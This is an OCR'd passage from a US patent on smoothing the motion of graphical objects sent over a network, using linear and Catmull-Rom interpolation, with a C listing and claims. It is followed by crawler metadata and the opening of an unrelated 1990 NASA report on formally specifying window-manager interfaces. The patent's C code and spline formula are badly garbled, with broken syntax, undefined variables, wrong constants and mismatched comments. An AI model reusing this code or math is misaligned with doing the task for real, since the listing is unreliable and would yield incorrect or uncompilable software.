packet's PAR 200 is copied into the receiving computer's corresponding PAR 210, the incoming packet's PAR 202 is copied into the receiving computer's corresponding PAR 212, and the incoming packet's PAR 204 is copied into the receiving computer's corresponding PAR 214. The DealWithIncomingPacket subroutine then returns. In step 216, the TIME data 174 of the incoming packet which is already known to be a small update packet is examined and compared with the TIME0 through TIME5 fields of the corresponding object's location PAR buffer. If the TIME data of the incoming packet is exactly equal to any of TIME0 through TIME5 in the location PAR buffer, execution transfers to step 222. Otherwise, execution continues with step 218. In step 218, the receiving computer's corresponding graphical object's location PAR buffer is rearranged to accommodate the new PAR. Specifically, PAR0 through PAR5 as well as the incoming PAR are sorted according to their respective TIME fields. In step 220, the least recent PAR is discarded. Execution continues with step 221. In step 221, the remaining six PARs are placed back into the PAR buffer as PAR0 through PAR5. In this way, delayed packets are reinserted into the PAR buffer in their correct sequential position, and the oldest PAR is discarded. Execution continues with step 223, which returns execution to the caller. Referring now to FIG. 7, the SwitchPositionCalculation subroutine supplies the switching function 46 of FIG. 2. Execution passes immediately to step 232. In step 232, the current system time on the receiving computer is compared with TIME0 of PAR0 of the current object corresponding to PAR 114 of FIG. 3. If the current system time is less than (meaning before) TIME0 of PAR0, then execution transfers to step 234, otherwise execution passes to step 236. In step 234, the values of X0, Y0, Z0, A0, B0, C0, and R0 are fetched from PAR0 114 and returned as the current object position. In step 236, the current system time is compared with TIME1 of PAR 116. If the current system time is less than (meaning before) TIME1 of PAR 1, then execution transfers to step 238, otherwise execution passes to step 240. In step 238, the subroutine LinearInterpolate, described hereinunder in FIG. 8, is called to perform a linear interpolation between PAR0 and PAR1, for a time equal to the current system time. The results of this linear interpolation, in the format of a PAR, are returned as the current object position. In step 240, the current system time is compared with TIME2 of PAR 218. If the current system time is less than (meaning before) TIME2 of PAR 2, then the execution transfers to step 242, otherwise execution passes to step 244. In step 242, the subroutine CRInterpolate, described hereinunder in FIG. 9, is called to perform a Catmull-Rom spline interpolation among the four PARs PAR0, PAR1, PAR2, and PAR3, evaluated at a time equal to the current system time, and the resulting position, in the format of a PAR, is returned as the current object position. In step 244, the current system time is compared with TIME3 of PAR 318. If the current system time is less than (meaning before) TIME3 of PAR 3, then the execution transfers to step 246, otherwise execution passes to step 248. In step 246, the subroutine CRInterpolate is called to perform a Catmull-Rom spline interpolation among the four PARs PAR1, PAR2, PAR3, and PAR4, evaluated at a time equal to the current system time, and the resulting position, in the format of a PAR, is returned as the current object position. In step 248, the current system time is compared with TIME4 of PAR 418. If the current system time is less than (meaning before) TIME4 of PAR 4, then the execution transfers to step 250, otherwise execution passes to step 252. In step 250, the subroutine CRInterpolate is called to perform a Catmull-Rom spline interpolation among the four PARs PAR2, PAR3, PAR4, and PAR5, evaluated at a time equal to the current system time, and the resulting position, in the format of a PAR, is returned as the current object position. In step 252, the subroutine LinearInterpolate is called to perform linear extrapolation between the points defined by PAR4 and PAR5, evaluated at a time equal to the current system time. More specifically, the formulation of LinearInterpolate gives interpolative results for times between TIME4 and TIME5, and extrapolative results for times after TIME5, but this is acceptable to the invention. Referring now to FIG. 8, the subroutine LinearInterpolate is shown. The entry point of LinearInterpolate step 260 receives three arguments, the desired time for evaluation 262, the desired PAR 264, and the desired PAR 266. Execution passes immediately to step 268. In step 268, parameterized time P 270 is calculated by subtracting the time TIME0 in PAR 264 from the desired time 262, and dividing that by the difference between TIME1 in PAR 266 and TIME0 in PAR 264. More specifically, P 270 is zero when the desired time 262 is equal to TIME0, is equal to 1 when the desired time is equal to TIME1, varies smoothly from 0.0 to 1.0 as desired time 262 varies between TIME0 and TIME1, and becomes greater than 1.0 as the desired time 262 exceeds TIME1. Execution then passes to step 272. In step 272, the components of the output PAR are calculated. X of the output PAR is calculated by adding X0 of the input PAR 264 to the product of parameterized time 270 times the difference between X1 of PAR 266 and X0 of PAR 264. Y of the output PAR is calculated by adding Y0 of the input PAR 264 to the product of parameterized time 270 times the difference between Y1 of PAR 266 and Y0 of PAR 264. Z of the output PAR is calculated by adding Z0 of the input PAR 264 to the product of parameterized time 270 times the difference between Z1 of PAR 266 and Z0 of PAR 264. A of the output PAR is calculated by adding A0 of the input PAR 264 to the product of parameterized time 270 times the difference between A1 of PAR 266 and A0 of PAR 264. B of the output PAR is calculated by adding B0 of the input PAR 264 to the product of parameterized time 270 times the difference... between B1 of PAR1 266 and B0 of PAR0 264. C of the output PAR is calculated by adding C0 of the input PAR0 264 to the present of parameterized time P 270 times the difference between C1 of PAR1 266 and C0 of PAR0 264. R of the output PAR is calculated by adding R0 of the input PAR0 264 to the product of parameterized time P 270 times the difference between R1 of PAR1 266 and R0 of PAR0 264. Execution then proceeds to step 276. In step 276, the X, Y, Z, A, B, C, and R values are placed in a PAR format and returned to the caller. Referring now to FIG. 9, the flowchart for the subroutine CRInterpolate which performs interpolation by the Catmull-Rom method. In step 280, five arguments are received. These arguments are placed in the local variables TIME1 282, PAR0 284, PAR1 286, PAR2 288, and PAR3 290. Execution proceeds to step 292. In step 292, parameterized time P 294 is calculated by subtracting the time TIME1 in PAR1 288 from the desired time 282, and dividing that by the difference between TIME2 in PAR2 288 and TIME1 in PAR1 284. Execution proceeds to step 296. In step 296, the subroutine CRspline, described hereunder in FIG. 10, is called seven times, to calculate X, Y, Z, A, B, C, and R values for the components of the output PAR. These components are calculated in subroutine CRspline, based on the values of parameterized time P 294, and the respective X, Y, Z, A, B, C, and R values from the local subroutine arguments PAR0 284, PAR1 286, PAR2 288, and PAR3 290. Execution proceeds to step 298. In step 298, the output X, Y, Z, A, B, C, and R are formatted into the PAR format and returned. Referring now to FIG. 10, the operation of subroutine CRspline is shown. Operation of CRspline begins at step 310, where the five arguments corresponding to the local variables of parameterized time P 312, L 314, M 316, N 320, and O 322 are received. Execution proceeds to step 324. In step 324, the output value OUT 324 is calculated by the Catmull-Rom formula. This formula can be found in *Computer Graphics: Principles and Practice*, by Foley, Van Dam, Feiner, and Hughes. ISBN 0-201-84840-6, Addison Wesley, 1995. Specifically, OUT 324 is set equal to: \[ 2(M1(P0(N-L)-(P0(L-M)-N-O*(P0(M-L)-N-O)))))/2 \] Execution proceeds to step 326. In step 326, the value of OUT 324 is returned to the calling routine. The following is a program listing in ANSI C describing the indicated subroutines for implementation of the invention: ```c /* ** ** Given six PAR vectors & time locations, and a time t, ** figure out where we should be. Note that this is "well defined" ** only for times between point 0 and point 5, and is merely a ** good guess for times outside those times. (that is, anywhere before ** point 0 or past point 5) ** There is mildly asymmetric behavior- for times less than T0, we ** use P0, and for times after T5, we extrapolate up to T5-T4 past ** T5. ** Veclength is how long the point vectors are- for a 4x4 this is ** 16, for a PAR representation (recommended!) this is 7, etc. ** Legal return values: ** -2 - time is less than T0, so the object stays at T0 (no motion) ** -1 - time is between T0 and T1, linear interp between T0 and T1 ** 0 - time is between T1 and T2, CR-interpolate ** 1 - time is between T2 and T3, all is well but we may overrun ** our buffer soon, please bump along to next C-R points. ** 2 - time is between T3 and T4, all is still well but a transition ** to linear interpolation will occur at T4 ** 3 - time is greater than T4; the object is now in linear mode and ** will move along the ray from T4 through T5 and beyond ad ** infinitum. ** 4 - time is greater than T5; the object is now in purely ** extrapolated mode. */ * long spCatmullRomVecInterpolate ( float p[0], long t0, float p[1], long t1, float p[2], long t2, float p[3], long t3, float p[4], long t4, float p[5], long t5, TimeStamp now, long veclength, float out[ ] ) { float q; long i; long crs; crs = CRStatus (now, t0, t1, t2, t3, t4, t5); // unwrap phase of axis, angles */ axisangleunwrap (p0, p1); axisangleunwrap (p1, p2); axisangleunwrap (p2, p3); axisangleunwrap (p3, p4); ``` axisangle unwrap(p4, p5); switch (crs); { case (-2): for (i = 0; i < veclength; i++) out[i] = p0[i]; break; case (-1): /* linear interp */ q = DeltaT0Q(44, t5, now); for (i = 0; i <= 15; i++) out[i] = p4[i] + (p5[i] - p4[i]) * q; break; case (0): q = DeltaT0Q(t1, t2, now); vecCRSpline(p0, p1, p2, p3, out, q); break; case (1): q = DeltaT0Q(t2, t3, now); vecCRSpline(p1, p2, p3, p4, out, q); break; case (2): q = DeltaT0Q(t3, t4, now); vecCRSpline(p2, p3, p4, p5, out, q); break; case (3): case (4): /* linear interpolation */ q = DeltaT0Q(44, t5, now); for (i = 0; i <= 15; i++) out[i] = p4[i] + (p5[i] - p4[i]) * q; break; } break; } } ="/********************************************************************************** ** ** unwrap axis and angle “flips” - to make interpolation by ** linear or CR routines give smooth motion, it’s important ** to get rid of the discontinuities in PAR representations ** that might occur when the PAR position information are ** generated from sources such as 4x4 matrices. For example, ** a rotation of +179 degrees is only two degrees away from a ** rotation of -179 degrees IF we go counterclockwise, but ** it’s 358 degrees (almost a complete full rotation) if we ** go the “obvious” way. ** ** By unwrapping these phase flips, (in effect, converting ** the above -179 degrees to +181 degrees), we get a nice ** smooth motion as desired. ** ** There is a second kind of phase flip that occurs because there ** are actually two rotation axes that will give the same rotation- ** one can rotate around (A, B, C) with rotation angle 8, or ** -A can rotate around (-A, -B, -C) with rotation angle -8. Both ** are exactly the same rotation, but with two different names. ** ** We unwrap the second kind of flip first, because we want this ** flip can alter both the rotation axis and angle, while the first ** kind of unwrapping flip alters only the angle, not the axis (and ** remember, we want smooth alteration in both the angle and axis. ** ** If we left this second kind of flip in place, it is ** possible that we’d end up with aCRSpline for A,B,C that is ** very close to (or perhaps even passes through) the origin and ** THAT would cause divide-by-zero errors! */ static void axisangleunwrap(p0, p1) { float d, df; float da; /* determine distances to axis point for unflipped second axis, and flipped second axis. If second axis is closer, flip to it. */ d = sqrt(((p0[3]-p1[3]) * (p0[3]-p1[3])) + (p0[4]-p1[4]) * (p0[4]-p1[4]) ) + (p0[5]-p1[5]) * (p0[5]-p1[5])); df = sqrt((p0[3]-p1[3]) * (p0[3]-p1[3]) + (p0[4]-p1[4]) * (p0[4]-p1[4]) ) + (p0[5]-p1[5]) * (p0[5]-p1[5])); */ if (d > df) { p1[3] = -p1[3]; p1[4] = -p1[4]; p1[5] = -p1[5]; p1[6] = -p1[6]; if (*ang < 0) *ang += 6.28318; } /* part 2 - is the angle itself closer, or is the angle + or - 360 degrees (actually radians) closer? */ da = p0[6] - p1[6]; if (da > 3.14159) { } else if (da < -3.14159) { } return; ****************************************************************************** ** ** a little helper function to calculate time to 0 <= q <= 1 ** ** (parameterized time computation) ** ** static float DeltaToQ ( long start, long stop, long inbetween) ** ** return ( (float) (inbetween - start) ) / ((float) (stop - start) ) ; ****************************************************************************** CRStatus - which branch do we take? Compare times! /* The vectorized form of Catmull-Rom, given a vector of Catmull-Roms to evaluate, do them all in one swell foop. CAUTION - the following depends on C always passing arrays by reference- AND that you pass it the address of a vector. Passing it the address of a multi-dimensional array may or may not work depending on if your C compiler vectorizes arrays!!! */ void vecCRSpline (float p0[ ], float p1[ ], float p2[ ], float p3[ ], float out[ ], long howmany) { long i; for (i = 0; i < howmany; i++) out[i] = CRSpline (p0[i], p1[i], p2[i], p3[i], q); } ****************************************************************************** ** ** Catmull-Rom four-point spline calculation ** ****************************************************************************** The C-R basis matrix is this: \[ \begin{pmatrix} -1 & 3 & -3 & 1 \\ -2 & 5 & -4 & -1 \\ -1 & 0 & 1 & 0 \\ 0 & 2 & 0 & 0 \end{pmatrix} \] Multiply basis matrix across the four points (p0, p1, p2, p3) and then take that result and dot it with \([1^T \ 2^T \ 1^T \ 1^T]^T\) to get the value of the output of the parametric C-R spline. GROUT GROU T efficiency alert Now rather than doing all that matrix math, we can use some speedups. Of course, everything is a time-speed tradeoff, so for now we will just use the expanded form of the matrix math. If we need to later, we can trade off additional state information to hold intermediate values or even use forward differencing ... See Foley and Van Dam secs 11.2 and on for more info. /* float CRSPline (float q, float p0, float p1, float p2, float p3) { return (2 * p1 + q * (p2 - 2*p0 + (q * (2*p0 - 5*p1 + 6*p2 - p3) + (q * (3*p1 - p0 - 3*p2 + p3)))) / 2); } *********************************************************************************/ ** The following routines are used to convert between the common ** homogeneous 4x4 transform representation commonly used in ** computer graphics, and the position, axis, and angle (PAR) rep. ** used by these subroutines. */ static int Mat4x4ToAxisAngle(float *m, float *axis, float *angle) { float q[4]; /* do this one by converting to quaternions first */ Mat4x4ToQuaternion(m, q); QuaternionToAxisAngle(q, axis, angle); return(0); } static int Mat4x4ToQuaternion(float *m, float *q) { /* * The following code is adapted directly from the method given * by Stanley Shepperd, Charles Stark Draper Labs, and * published in the Journal of Guidance and Control, May/June * 1978, pgs 223 & 224 */ float trace; long choice; float len; float magt, mag0, mag5, mag10; /* * Print out the quaterion components */ printf("\"\"\"\"\", q); /* get trace of the matrix */ trace = m[0] + m[5] + m[10]; /* Pick the largest of the quaternions to avoid negative-sqrt * situations - this is misrepresented in the Shepperd paper, * and the algorithm there presented (and restated in Graphics * Gems) divides by a near-zero number when this happens. * So, we instead do the following - what's important is not * the magnitude of the trace and the diagonal terms per * se, but rather the signed value of the divisors. So, * we switch on that basis instead. */ magt = 1.0 + (2.0 * trace) - trace; mag0 = 1.0 + (2.0 * m[0]) - trace; mag5 = 1.0 + (2.0 * m[5]) - trace; mag10 = 1.0 + (2.0 * m[10]) - trace; choice = -1; if (magn <= mag5 && mag0 <= mag5 && mag0 <= mag0) choice = 0; if (magn <= mag0 && mag5 <= mag5 && mag0 <= mag5) choice = 1; if (magn <= mag0 && mag10 <= mag5 && mag10 <= mag10) choice = 2; if (magn <= mag0 && mag10 <= mag5 && mag5 <= mag5) choice = 3; switch (choice) { case (0): q[0] = sqrt((1.0 + (2.0 * m[0]) - trace)); q[1] = (m[1] + m[4]) / q[0]; q[2] = (m[2] + m[8]) / q[0]; q[3] = (m[6] - m[9]) / q[0]; break; case (1): q[1] = sqrt(1.0 + (2.0 * m[5])) - trace ; q[0] = (m[1] + m[4]) / q[1]; q[2] = (m[6] + m[9]) / q[1]; q[3] = (m[8] - m[2]) / q[1]; break; case (2): q[2] = sqrt(1.0 + (2.0 * m[10])) - trace ; q[0] = (m[2] + m[8]) / q[2]; q[1] = (m[6] + m[9]) / q[2]; q[3] = (m[1] + m[4]) / q[2]; break; case (3): q[3] = sqrt(1.0 + (2.0 * trace)) - trace ; q[0] = (m[6] - m[9]) / q[3]; q[1] = (m[8] - m[2]) / q[3]; q[2] = (m[1] - m[4]) / q[3]; break; default: printf( "Fault in matrix->quaternion conversion- can't happenin; q[3] = sqrt(1.0 + (2.0 * trace)) - trace ; q[0] = sqrt(1.0 + (2.0 * m[0])) - trace ; q[1] = sqrt(1.0 + (2.0 * m[5])) - trace ; q[2] = sqrt(1.0 + (2.0 * m[10])) - trace ; /* we then assume q[3] (real part) to be positive, and determine signs for the other three parts */ if ( m[6] - m[9] < 0.0 ) q[0] = - q[0]; if ( m[8] - m[2] < 0.0 ) q[1] = - q[1]; if ( m[1] - m[4] < 0.0 ) q[2] = - q[2]; break; /* and finally, divide all terms by two */ q[0] = q[0] / 2; q[1] = q[1] / 2; if (q[3] < 0.0) { q[0] = - q[0]; q[1] = - q[1]; q[2] = - q[2]; q[3] = - q[3]; } return (0); #endif static int QuaternionsToAxisAngle(float *q, float *axis, float *angle) { float halfAng; float sHalfAng; halfAng = asin(q[3]); *angle = halfAng * 2.0; sHalfAng = sin(halfAng); if (sHalfAng == 0.0) { /* angle = n*M_PI -> integer rotations = no rots. */ axis[0] = 0.0; axis[1] = 0.0; axis[2] = 1.0; } else { axis[0] = q[0]*sHalfAng; axis[1] = q[1]*sHalfAng; axis[2] = q[2]*sHalfAng; } return(0); } static int AxisAngleToMat4x4(float *axis, float angle, float *mat4x4) { /* 2 transcendental functions, 15 multipies, 10 adds */ /* Normalized axis. */ float newaxis[3]; float len; float c, s, t; float txy, tzy, txz; float tx, ty, tz; float sx, sy, sz; len = sqrtf(axis[0]*axis[0]+axis[1]*axis[1]+axis[2]*axis[2]); newaxis[0] = axis[0]/len; newaxis[1] = axis[1]/len; Having above indicated several embodiments of the Subject Invention, it will occur to those skilled in the art that modifications and alternatives can be practiced within the spirit of the invention. It is accordingly intended to define the scope of the invention only as indicated in the following claims. We claim: 1. A system for assuring the smooth motion of a graphical object presented on-screen at a display at a recipient node on a network in which data is transmitted from a source node on said network to said recipient node, comprising: means at said source node for transmitting data corresponding to the intended motion of said graphical object at said recipient node including an indication of the predictability of the motion of said graphical object; and, means at said recipient node for receiving said data and said indication, and for smoothing said data in accordance with said indication. 2. The system of claim 1 wherein said indication includes means for dividing the predictability of said data into a number of categories dependent upon the number of future points specifiable, and means at said recipient node for applying different smoothing algorithms to said data based upon the category of said data. 3. The system of claim 2, wherein for a category in which there is no predictability said smoothing algorithm includes a linear extrapolation algorithm. 4. The system of claim 2, wherein for a category in which there is maximum predictability said smoothing algorithm includes the Catmull-Rom spline algorithm. 5. The system of claim 2, wherein for a category in which there is an intermediate amount of predictability said smoothing algorithm includes a linear interpolation algorithm. 6. The system of claim 1, and further including means for angle and phase unwrapping of the rotation of said graphical object so as to eliminate boundary effects when rotating said graphical object in excess of 360 degrees. 7. The system of claim 6, wherein said means for angle and phase unwrapping includes means for ascertaining a rotation of 360 degrees plus the desired rotation, means for ascertaining a desired rotation, means for ascertaining a rotation of the desired rotation minus 360 degrees, means for selecting which of said last-mentioned quantities is closest to the previous achieved rotation for the rotation of said graphical object. 8. The system of claim 1, and further including means for reducing the bandwidth of said data by transmitting only a portion of said data dependent upon the number of intended motions of said graphical object to be transmitted. 9. The system of claim 8, wherein said data is transmitted as packets of data and wherein said bandwidth reducing means includes means for transmitting a reduced-length packet when the number of motions of said graphical object to be transmitted is below a predetermined threshold. 10. The system of claim 1, wherein said data transmitting means includes means for specifying predictability based on the number of predictable future locations for said graphical object. 11. The system of claim 1, wherein said data transmitting means includes means for specifying the predictability based the type of graphical object being depicted. 12. The system of claim 1, wherein said data transmitting means includes means for transmitting data specific for a predetermined application, said predetermined application including means for designating the predictability of motion of said graphical object, and wherein said smoothing means includes means for selecting a smoothing algorithm based on said designated predictability. 13. The system of claim 1, wherein said data is transmitted in packetized form and wherein said smoothing means includes means for recognizing redundant packets and for discarding selected ones of said redundant packets. 14. The system of claim 1, wherein said data is transmitted in packetized form, each of said packets containing redundant data, said smoothing means including means for utilizing said redundant data to generate uninterrupted motion of said graphical object in the presence of lost packets. 15. The system of claim 1, wherein said source node includes means for timestamping said data, said recipient node including means to sort said data based on said timestamps, said recipient node including means to discard old data based on said timestamps, said recipient node including means to place said data into correct time order based on said timestamps. * * * * *
{"Source-Url": "https://image-ppubs.uspto.gov/dirsearch-public/print/downloadPdf/5793382", "len_cl100k_base": 12671, "olmocr-version": "0.1.53", "pdf-total-pages": 22, "total-fallback-pages": 0, "total-input-tokens": 22792, "total-output-tokens": 14527, "length": "2e13", "weborganizer": {"__label__adult": 0.000438690185546875, "__label__art_design": 0.0007281303405761719, "__label__crime_law": 0.0005106925964355469, "__label__education_jobs": 0.0013418197631835938, "__label__entertainment": 0.00019097328186035156, "__label__fashion_beauty": 0.00018680095672607425, "__label__finance_business": 0.0006351470947265625, "__label__food_dining": 0.00047850608825683594, "__label__games": 0.003679275512695313, "__label__hardware": 0.007343292236328125, "__label__health": 0.0007386207580566406, "__label__history": 0.0005578994750976562, "__label__home_hobbies": 0.0001773834228515625, "__label__industrial": 0.0011768341064453125, "__label__literature": 0.0004222393035888672, "__label__politics": 0.0002703666687011719, "__label__religion": 0.0005679130554199219, "__label__science_tech": 0.378662109375, "__label__social_life": 8.314847946166992e-05, "__label__software": 0.0296478271484375, "__label__software_dev": 0.5703125, "__label__sports_fitness": 0.00034618377685546875, "__label__transportation": 0.0011415481567382812, "__label__travel": 0.00025963783264160156}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 52013, 0.04928]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 52013, 0.80212]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 52013, 0.87924]], "google_gemma-3-12b-it_contains_pii": [[0, 447, false], [447, 447, null], [447, 447, null], [447, 454, null], [454, 948, null], [948, 955, null], [955, 955, null], [955, 962, null], [962, 1324, null], [1324, 2031, null], [2031, 2191, null], [2191, 9232, null], [9232, 16744, null], [16744, 23622, null], [23622, 26358, null], [26358, 33277, null], [33277, 37439, null], [37439, 40408, null], [40408, 42107, null], [42107, 45251, null], [45251, 47489, null], [47489, 52013, null]], "google_gemma-3-12b-it_is_public_document": [[0, 447, true], [447, 447, null], [447, 447, null], [447, 454, null], [454, 948, null], [948, 955, null], [955, 955, null], [955, 962, null], [962, 1324, null], [1324, 2031, null], [2031, 2191, null], [2191, 9232, null], [9232, 16744, null], [16744, 23622, null], [23622, 26358, null], [26358, 33277, null], [33277, 37439, null], [37439, 40408, null], [40408, 42107, null], [42107, 45251, null], [45251, 47489, null], [47489, 52013, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 52013, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 52013, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 52013, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 52013, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 52013, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 52013, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 52013, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 52013, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 52013, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 52013, null]], "pdf_page_numbers": [[0, 447, 1], [447, 447, 2], [447, 447, 3], [447, 454, 4], [454, 948, 5], [948, 955, 6], [955, 955, 7], [955, 962, 8], [962, 1324, 9], [1324, 2031, 10], [2031, 2191, 11], [2191, 9232, 12], [9232, 16744, 13], [16744, 23622, 14], [23622, 26358, 15], [26358, 33277, 16], [33277, 37439, 17], [37439, 40408, 18], [40408, 42107, 19], [42107, 45251, 20], [45251, 47489, 21], [47489, 52013, 22]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 52013, 0.0]]}
olmocr_science_pdfs
2024-12-11
2024-12-11
e52ff17cd18ea6a6820cade85ee2d573b0c4a46b
1990 NASA/ASEE SUMMER FACULTY FELLOWSHIP PROGRAM JOHN F. KENNEDY SPACE CENTER UNIVERSITY OF CENTRAL FLORIDA FORMAL SPECIFICATION OF HUMAN-COMPUTER INTERFACES PREPARED BY: Dr. Brent Auernheimer ACADEMIC RANK: Associate Professor UNIVERSITY AND DEPARTMENT: California State University - Fresno NASA/KSC Department of Computer Science DIVISION: Data Systems BRANCH: Real Time Systems NASA COLLEAGUE: Mr. Les Rostosky DATE: August 10, 1990 CONTRACT NUMBER: University of Central Florida NASA-NGT-60002 Supplement: 4 Acknowledgements The support of my NASA colleagues Oscar Brooks, Steve Bryan, Bill Drozdick, Linda Koch, Les Rostosky, Bill Sloan, Lynn Svedin, and Larry Wilhelm is gratefully acknowledged. Thanks also to Steve Eckmann and Richard Kemmerer of the University of California, Santa Barbara for providing helpful comments and ideas. Abstract This report describes a high-level formal specification of a human-computer interface. A typical window manager is modeled. Previous work is reviewed and the ASLAN specification language is described. Top-level specifications written in ASLAN for a library and a multiwindow interface are discussed. Table of Contents I Introduction I.1 Organization of the Paper I.2 Specification and Verification Terminology I.3 Previous Work I.4 Formal Techniques and the Development of User Interfaces I.5 Two Views of Specifications I.6 Testing vs. Proving Specifications II Formal Specification II.1 The Aslan Specification Language II.2 The Aslan Approach II.3 A Specifier-friendly Feature III. Specification of A Multiwindow User Interface III.1 Overview III.2 Types III.3 Constants III.4 State Variables III.5 Definitions (Macros) III.6 Initial Conditions III.7 Critical Correctness Requirements III.8 State Transitions III.8.1 Window Closing (Iconifying) III.8.2 Window Opening III.8.3 Window Destruction III.8.4 Window Creation III.8.5 Shifting Input Focus III.8.6 Moving Windows III.8.7 Window Resizing III.8.8 Window Restacking IV Concluding Remarks I. Introduction 1.1 Organization of the Paper This paper documents an attempt to formally specify a multiwindow user interface. The paper is organized as follows: Section I briefly reviews the foundation laid in last summer's work and discusses motivations and expected results of using formal specification techniques on user interfaces. Section II introduces the ASLAN formal specification language through the example in Appendix A. Section III is a detailed look at an abstract specification of a typical multiwindow interface. The formal specification discussed in Section III is in Appendix B. Finally, Section IV contains concluding remarks and recommendations. 1.2 Specification and Verification Terminology Specifications are statements about the functionality of a system. Specifications express what a system is to accomplish, not how it is to do it. In this paper, formal specifications are assertions about the behavior of a system. Critical correctness criteria are assertions that the specification and all refinements and implementations are to satisfy. Formal verification techniques demonstrate that implementations satisfy their specifications. In addition, it is useful to show that specifications meet their critical correctness criteria. This is sometimes called design verification. Neumann explains [12]: Formal verification has often been talked about as a technique for demonstrating consistency between code and assertions about that code, in some cases between code and specifications. Somewhat less popular has been the easier notion of using formal verification to demonstrate that a set of formal specifications is consistent with its formally axiomatized requirements, i.e., carrying out design verification. 1.3 Previous Work This report describes a continuation of work on formalisms for user interface specification and design described in [1]. That work examined several recent research results in human-computer interaction (HCI) that may be applicable to NASA applications. One of the results examined was the formal specification of direct manipulation user interfaces for a secure military message system [7, 8]. [1] also contains an introduction to formal specification and verification including objections to the approach and reasonable expectations. It was recommended that a pilot study using formal techniques on a small, well-defined piece of a user interface be done. The subsystem to be specified should have clear, high-level correctness properties that must be met. The specification given in Appendix B of this paper is the portion of a user interface that manipulates windows. The correctness property that must be maintained is that users are not allowed to \footnote{The information in II.2 and Appendix A is based on a portion of a paper by the author and Daniel Stearns, "Using the ASLAN specification language in undergraduate software engineering courses," submitted to Computer Science Education, July 1990} move, close, or resize certain windows. This correctness property was derived from current interface prototypes developed at NASA KSC. Using formal specification techniques is costly. Benefits are realized when there are readily identifiable, critical correctness properties that must hold. This is the case for portions of proposed interfaces to shuttle and space station software. Further, it is not necessary to carry out formal specification and verification to their full extent to realize benefits. Finding an appropriate level of formality and analysis can result in systems that users can have a high degree of confidence in. To summarize [1, section IV.2.2]: The general goal is to lower expectations for formal specification – the goal isn’t necessarily provably correct software – but to specify important functionality and correctness criteria in a way that is reviewable by software engineers and integrates usefully in other software development efforts. I.4 Formal Techniques and the Development of User Interfaces As noted in [1], there is some controversy about the usefulness of formal specification and verification techniques in general. Because modern interfaces are visually complex and becoming more aural, some HCI researchers believe that prototyping and user interface management system (UIMS) are the correct approach to interface specification and development. Fischer is a critic of formal specification of interfaces [6, p. 50,51]: Static specification languages have little use in HCI software design. First, detailed specifications do not exist. Second, the interaction between a system and its user is highly dynamic and aesthetic, aspects that are difficult, if not impossible, to describe with a static language. ... A prototype makes it much easier and productive for designers and users to cooperate because users do not have to rely on written specifications, which do not indicate an interface’s qualities. ... Validation and verification methods from other software domains have limited use in HCI. Formal correctness is crucial, but it is by no means a sufficient measure of the effectiveness and success of an HCI system. Fischer’s statements are true for most interface development efforts. Formal techniques aimed at low level or aesthetic portions of user interfaces may not be productive. However, for critical aspects of NASA interfaces, such as alarm areas, critical correctness requirements are apparent and easily expressed. By using techniques employed in the specification of secure systems, formal specification becomes a valuable approach. Further, it is possible to combine formal specifications of functionality with usability specifications. Carrol and Rosson have studied the design process and recommend an iterative approach of developing and integrating functionality and usability specifications [5, p. 1]: Much has been said about this “usability” problem regarding current interface designs. Less has been said about how to solve the problem. ... we develop an approach to the problem based on usability specifications: precise, testable statements of performance goals for typical users carrying out tasks typical of their projected use of the system. I.5 Two Views of Specifications Most specification efforts target one of two goals: an executable specification (prototype system), or a proof that a specification meets critical correctness requirements ("design verification"). HCI specification are usually developed with the intent of having a prototype system that can be "checked for certain undesirable properties" [8, p. 211]. Because these specifications are to result in realistic prototypes, it is necessary to specify low-level events such as mouse clicks and beeps. Not surprisingly, it is not feasible to combine a huge quantity of implementation details with design verification of the specification. The approach explored in this paper is to write abstract specifications and critical correctness requirements for a portion of a user interface without getting bogged down in implementation details. High-level specifications have been very successful in the field of secure systems. The formal specifications for these systems are shown to be consistent with their critical correctness criteria without becoming bogged down in implementation details. For example, in a short, high-level specification, Kemmerer shows fundamental flaws in a cryptosystem [10]. Although Jacob focuses on executable specifications and prototyping, he briefly discusses extensions to his techniques [8, p. 237]: In designing a secure message system, it is desirable to prove assertions about the security of the system formally. Such proofs are usually based on a formal specification of the system (with the proviso that the final software and hardware correctly implement the specification). This approach has not generally been used at the user interface level, but, if one had a formal specification of the user interface, it would be possible to provide proofs about the user interface. I.6 Testing vs. Proving Specifications A common and persistent criticism of formal specification and verification is that the quantity of proofs that must be done is overwhelming. A formal specification and statement of correctness, it is possible to gain insights into the system and confidence in the specification without performing proofs. The informal analysis of a formal specification can be a valuable technique for communication between software engineers. More formally, symbolic execution tools have been developed [11]. Specifications can then be tested against correctness requirements. Testing specifications allows software engineers to play what-if games with the specification and may result in the discovery of system states that do not satisfy the correctness requirements. These tools have been successfully used in the development of secure systems. Kemmerer explains the use of the Inatest tool on a cryptosystem specification [10, p. 453]: With the Inatest tool, it is possible to introduce assumptions about the system interactively, execute sequences of transforms, and check the results of these execu- tions. This provides the user with a rapid prototype for testing properties of the cryptographic facilities... II. Formal Specification II.1 The Aslan Specification Language Software engineers' lack of exposure to formal specification systems is particularly disturbing in light of increasing dependence on critical software systems. Neumann describes examples of problems with specifications in four application areas: human safety, reliability, security, and user interfaces [12]. Neumann concludes (emphasis added): There are many contributions that good software engineering practice could have made to the prevention or minimization of these and many other problems. In particular, the sound use of system structuring, specification languages capable of meaningful abstraction, and rigorous analysis of specifications could all have had significant effects. The Aslan formal specification language is a partial solution to the 